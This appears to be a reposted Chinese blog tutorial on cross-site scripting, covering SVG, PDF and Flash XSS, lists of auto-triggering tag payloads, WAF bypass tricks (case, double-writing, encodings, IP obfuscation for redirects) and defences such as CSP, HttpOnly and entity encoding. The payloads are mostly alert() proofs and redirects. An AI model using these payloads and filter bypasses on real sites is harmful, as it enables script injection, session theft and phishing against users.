当前位置: 首页 > news >正文

xss跨站及绕过与防护

XSS

它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。

SVG-XSS

SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。

<circle cx="100"cy="50"r="40"stroke=“black” stroke-width="2"fill=“red” />

PDF-XSS
1、创建PDF,加入动作JS
在这里插入图片描述

2、通过文件上传获取访问链接

3、直链地址访问后被触发

在这里插入图片描述

SWF-XSS

测试swf文件xss安全性:
1、反编译swf文件
2、查找触发危险函数
3、找可控参数访问触发
xss一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText
loadMovie等等

adob flash下载链接:https://t5art65aer.yzhy23.cn/2019/08/02/adboeflash.rar?timestamp=671cf0d2&auth_key=97f961c2c3e03dcd9e7c46429f170fa1&sign=080e6247193bde0b8650b2134efa562c&t=671cfee2

新建动画

在这里插入图片描述

按f9打开动作
在这里插入图片描述

写入

var m = _root.m;

flash.external.ExternalInterface.call(m);
在这里插入图片描述

ctrl+enter运行
在这里插入图片描述

正常运行ok,发布出来

然后放到网站内使用浏览器访问,加上参数m=alert(1),就执行js成功

在这里插入图片描述

常见标签-无需交互触发

<script>alert("xss");</script>
<img src=1 οnerrοr=alert("xss");>
<input onfocus="alert('xss');">
<input οnblur=alert("xss") autofocus><input autofocus>
<input onfocus="alert('xss');" autofocus>
<details ontoggle="alert('xss');">
<details open ontoggle="alert('xss');">
<svg οnlοad=alert("xss");>
<select onfocus=alert(1)></select>
<select onfocus=alert(1) autofocus>
<iframe οnlοad=alert("xss");></iframe>
<video><source onerror="alert(1)">
<audio src=x  οnerrοr=alert("xss");>
<body/οnlοad=alert("xss");><body
οnscrοll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus><textarea οnfοcus=alert("xss"); autofocus>
<keygen autofocus onfocus=alert(1)> //仅限火狐
<marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以
<isindex type=image src=1 οnerrοr=alert("xss")>//仅限于IE

link远程包含js文件

<link rel=import href="http://127.0.0.1/1.js">

JavaScript伪协议

<a>标签
<a href="javascript:alert(`xss`);">xss</a><iframe>标签
<iframe src=javascript:alert('xss');></iframe><img>标签
<img src=javascript:alert('xss')>//IE7以下<form>标签
<form action="Javascript:alert(1)"><input type=submit>

过滤绕过

过滤空格

/代替空格

<img/src="x"/οnerrοr=alert("xss");>

过滤关键字

大小写
<ImG sRc=x onerRor=alert("xss");>
双写

有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过

<imimgg srsrcc=x οnerrοr=alert("xss");>
字符拼接

利用eval

<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

利用top

<script>top["al"+"ert"](`xss`);</script>

编码绕过

不过全是在能执行js的条件下,有点鸡肋

Unicode编码绕过

<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;"><img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

url编码

<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

ascii编码

<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

hex编码

<img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

base64编码

<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

过滤url地址

url编码
<img src="x" οnerrοr=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
使用IP

ip转换进制在线工具

IP地址十六进制、二进制、十进制转换-ME2在线工具

1.十进制IP

<img src="x" onerror=document.location=`http://2130706433/`>

2.八进制IP

<img src="x" onerror=document.location=`http://0177.0.0.01/`>

3.hex

<img src="x" onerror=document.location=`http://0x7f.0x0.0x0.0x1/`>

4.html标签中用//可以代替http://

<img src="x" onerror=document.location=`//www.baidu.com`>

5.使用中文句号代替英文的点
如果你在你在域名中输入中文句号浏览器会自动转化成英文的点

<img src="x" onerror="document.location=`http://www。baidu。com`">//会自动跳转到百度

安全防护

CSP

CSP(Content Security Policy 内容安全策略内容安全策略是一种可信白名单机制,来限制网站中是否可以包含某来源内容该制度明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单,它的实现和执行全部由浏览器完成,开发者只需提供配置。禁止加载外域代码,防止复杂的攻击逻辑。禁止外域提交,网站被攻击后,用户的数据不会泄露到外域禁止内联脚本执行(规则较严格,目前发现GitHub使用)禁止未授权的脚本执行(新特性,Google Map 移动版在使用)合理使用上报可以及时发现 xSS,利于尽快修复问题。

如下图,未开启csp时img标签可以加载外部源的图片
在这里插入图片描述

一旦加入csp代码开启csp 就报错,因为csp禁止请求非同源资源

在这里插入图片描述

HttpOnly

HtpOnly是Cokioe的一个安全属性, 设置后则可以在xSS漏洞发生时避免Js读取到Cookie

在这里插入图片描述
在这里插入图片描述

使用js获取cookie,发现获取不到开启了httponly的参数
在这里插入图片描述

XSS Filter

把特殊标签符号转码,比如把”<”, “>”, “&”等这些特殊字符转码,例如heml实体化

在这里插入图片描述

开启实体化后
在这里插入图片描述

全被转义了


http://www.mrgr.cn/news/59645.html

相关文章:

  • python pip更换(切换)国内镜像源
  • 点餐系统需求分析说明书(软件工程分析报告JAVA)
  • 2024年CentOS镜像下载地址,包括CentOS官网、国内镜像下载,超详细也
  • 【C++】—— 模板进阶
  • Mac apache配置cgi环境-修改httpd.conf文件、启动apache
  • 【Visual Studio】下载安装 Visual Studio Community 并配置 C++ 桌面开发环境的图文教程
  • zjy-sqlite-manage使用文档v1
  • C语言二刷指针篇
  • Linux基本指令(上)
  • 66AI论文:一键速写形势与政策论文,课程作业论文写作好助手
  • 查看数据库
  • leetcode hot100【LeetCode 199. 二叉树的右视图】java实现
  • 分享几个可以免费使用GPT的网站
  • 《欢乐饭米粒儿》持续热播:第四期小品笑中有思,引发观众共鸣
  • 基于Spring Boot的中小型医院网站的设计与实现源码(springboot)
  • 计算机组成原理之寻址方式、寻址方式中哪种最常用、寻址方式中哪种效率最高
  • 通过 SYSENTER/SYSEXIT指令来学习系统调用
  • XQT_UI 组件|01|颜色
  • 知识见闻 - Gearbest电商平台
  • 144. 二叉树的前序遍历 递归
  • 双子塔楼宇可视化系统:提升建筑管理与运营效率
  • 必读篇:阿里云应用与低功耗4G模组AT开发示例指南
  • 【Unity踩坑】UWP应用未通过Windows应用认证:API不支持
  • 使用Claude新功能分析数据文件
  • 图像识别的技术原理及方法
  • 【后勤&运输集装箱】集装箱损伤检测系统源码&数据集全套:改进yolo11-ODConv